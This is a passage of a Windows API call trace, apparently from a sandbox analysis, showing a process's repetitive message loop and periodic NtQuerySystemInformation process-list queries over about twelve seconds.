[0288.644] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0288.644] WaitMessage () returned 1 [0289.173] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0289.173] IsWindowUnicode (hWnd=0x10166) returned 1 [0289.174] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0289.174] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0289.174] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0289.174] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0289.174] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0289.174] WaitMessage () returned 1 [0289.704] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0289.704] IsWindowUnicode (hWnd=0x10166) returned 1 [0289.704] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0289.704] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0289.704] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0289.704] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0289.704] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0289.704] WaitMessage () returned 1 [0290.234] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0290.234] IsWindowUnicode (hWnd=0x10166) returned 1 [0290.234] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0290.234] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0290.234] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0290.235] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0290.235] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0290.235] WaitMessage () returned 1 [0290.312] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0290.312] IsWindowUnicode (hWnd=0x1015c) returned 1 [0290.312] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0290.312] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0290.312] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0290.314] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x73b8) returned 0x0 [0290.317] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0290.317] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0290.317] WaitMessage () returned 1 [0290.765] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0290.765] IsWindowUnicode (hWnd=0x10166) returned 1 [0290.765] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0290.765] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0290.765] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0290.765] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0290.765] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0290.765] WaitMessage () returned 1 [0291.295] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0291.295] IsWindowUnicode (hWnd=0x10166) returned 1 [0291.295] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0291.295] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0291.295] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0291.295] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0291.295] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0291.295] WaitMessage () returned 1 [0291.825] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0291.826] IsWindowUnicode (hWnd=0x10166) returned 1 [0291.826] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0291.826] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0291.826] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0291.826] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0291.826] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0291.826] WaitMessage () returned 1 [0292.325] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0292.325] IsWindowUnicode (hWnd=0x1015c) returned 1 [0292.325] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0292.325] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0292.325] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0292.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x73f8) returned 0x0 [0292.327] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0292.327] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0292.327] WaitMessage () returned 1 [0292.359] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0292.359] IsWindowUnicode (hWnd=0x10166) returned 1 [0292.359] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0292.359] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0292.360] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0292.360] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0292.360] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0292.360] WaitMessage () returned 1 [0292.886] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0292.886] IsWindowUnicode (hWnd=0x10166) returned 1 [0292.886] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0292.886] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0292.886] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0292.886] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0292.887] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0292.887] WaitMessage () returned 1 [0293.416] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0293.416] IsWindowUnicode (hWnd=0x10166) returned 1 [0293.417] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0293.417] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0293.417] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0293.417] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0293.417] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0293.417] WaitMessage () returned 1 [0293.947] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0293.947] IsWindowUnicode (hWnd=0x10166) returned 1 [0293.948] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0293.948] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0293.948] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0293.948] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0293.948] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0293.948] WaitMessage () returned 1 [0294.337] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0294.337] IsWindowUnicode (hWnd=0x1015c) returned 1 [0294.337] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0294.337] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0294.337] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0294.337] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7278) returned 0x0 [0294.339] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0294.339] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0294.339] WaitMessage () returned 1 [0294.477] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0294.477] IsWindowUnicode (hWnd=0x10166) returned 1 [0294.477] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0294.477] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0294.477] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0294.477] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0294.477] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0294.477] WaitMessage () returned 1 [0295.008] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0295.008] IsWindowUnicode (hWnd=0x10166) returned 1 [0295.009] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0295.009] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0295.009] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0295.009] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0295.009] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0295.009] WaitMessage () returned 1 [0295.538] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0295.538] IsWindowUnicode (hWnd=0x10166) returned 1 [0295.538] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0295.538] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0295.538] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0295.538] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0295.538] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0295.538] WaitMessage () returned 1 [0296.068] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0296.068] IsWindowUnicode (hWnd=0x10166) returned 1 [0296.068] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0296.068] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0296.068] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0296.069] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0296.069] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0296.069] WaitMessage () returned 1 [0296.370] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0296.370] IsWindowUnicode (hWnd=0x1015c) returned 1 [0296.370] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0296.370] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0296.370] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0296.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7238) returned 0x0 [0296.372] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0296.372] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0296.372] WaitMessage () returned 1 [0296.615] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0296.615] IsWindowUnicode (hWnd=0x10166) returned 1 [0296.615] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0296.615] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0296.615] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0296.615] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0296.615] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0296.615] WaitMessage () returned 1 [0297.145] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0297.145] IsWindowUnicode (hWnd=0x10166) returned 1 [0297.145] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0297.145] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0297.145] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0297.145] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0297.145] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0297.146] WaitMessage () returned 1 [0297.676] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0297.676] IsWindowUnicode (hWnd=0x10166) returned 1 [0297.676] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0297.676] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0297.676] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0297.676] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0297.676] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0297.676] WaitMessage () returned 1 [0298.206] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0298.206] IsWindowUnicode (hWnd=0x10166) returned 1 [0298.206] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0298.206] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0298.206] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0298.206] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0298.206] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0298.206] WaitMessage () returned 1 [0298.377] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0298.377] IsWindowUnicode (hWnd=0x1015c) returned 1 [0298.377] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0298.377] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0298.377] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0298.377] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7238) returned 0x0 [0298.378] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0298.378] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0298.378] WaitMessage () returned 1 [0298.736] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0298.736] IsWindowUnicode (hWnd=0x10166) returned 1 [0298.736] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0298.736] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0298.736] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0298.737] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0298.737] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0298.737] WaitMessage () returned 1 [0299.267] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0299.267] IsWindowUnicode (hWnd=0x10166) returned 1 [0299.267] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0299.267] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0299.267] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0299.267] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0299.267] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0299.267] WaitMessage () returned 1 [0299.797] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0299.797] IsWindowUnicode (hWnd=0x10166) returned 1 [0299.797] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0299.797] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0299.797] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0299.797] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0299.797] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0299.797] WaitMessage () returned 1 [0300.327] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0300.327] IsWindowUnicode (hWnd=0x10166) returned 1 [0300.327] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0300.328] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0300.328] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0300.328] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0300.328] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0300.328] WaitMessage () returned 1 [0300.399] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0300.400] IsWindowUnicode (hWnd=0x1015c) returned 1 [0300.400] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, 